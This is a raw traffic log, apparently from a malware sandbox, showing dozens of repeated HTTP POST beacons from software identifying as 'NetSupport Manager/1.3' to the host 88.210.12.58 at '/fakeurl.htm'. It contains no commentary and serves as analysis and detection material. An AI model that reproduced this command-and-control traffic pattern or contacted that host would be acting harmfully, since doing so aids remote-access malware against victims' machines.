Dec 6, 2024 10:42:26.592129946 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:26.693177938 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:26.794100046 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:26.895984888 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:26.995987892 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:27.096199036 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:27.196178913 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:27.297091007 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:27.406744003 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:27.510270119 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:27.813128948 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:27.914123058 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:28.015151024 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:28.116111040 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:28.216190100 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:28.317095995 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:28.419939041 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:28.520046949 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:28.618273020 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:28.719080925 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:28.820547104 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:28.920178890 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:29.021116018 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:29.123936892 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:29.222094059 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:29.322076082 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:29.423088074 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:29.524086952 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:29.624110937 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:29.725068092 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:29.826109886 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:29.927335024 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:30.028139114 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:30.129081964 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:30.230098963 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:30.330221891 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:30.431081057 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:30.532335997 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:30.633971930 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:30.733943939 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:30.833947897 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:30.934062958 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:31.034332991 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:31.135399103 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:31.236078024 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:31.336114883 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:31.437117100 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:31.538068056 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:31.638072968 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:31.738111019 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:31.838128090 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:31.939095020 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:32.040128946 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:32.140098095 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:32.242072105 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:32.341950893 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:32.442198038 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:32.543118000 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:32.645962954 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:32.745955944 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:32.845124960 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:32.946111917 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:33.046149969 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:33.147094965 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:33.247104883 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:33.348160028 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:33.448088884 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:33.549092054 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:33.649123907 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:33.751415014 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:33.852171898 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:33.953082085 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:34.054156065 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:34.221956015 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:34.325995922 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:34.529206991 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:34.629098892 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:34.730094910 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:34.831110954 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:34.932105064 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:35.033972025 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:35.134198904 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:35.234114885 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:35.334119081 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:35.435842037 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:35.535099030 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:35.636121035 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:35.736124039 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:35.837188005 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:35.937423944 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:36.038120031 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:36.138237000 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:36.239978075 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
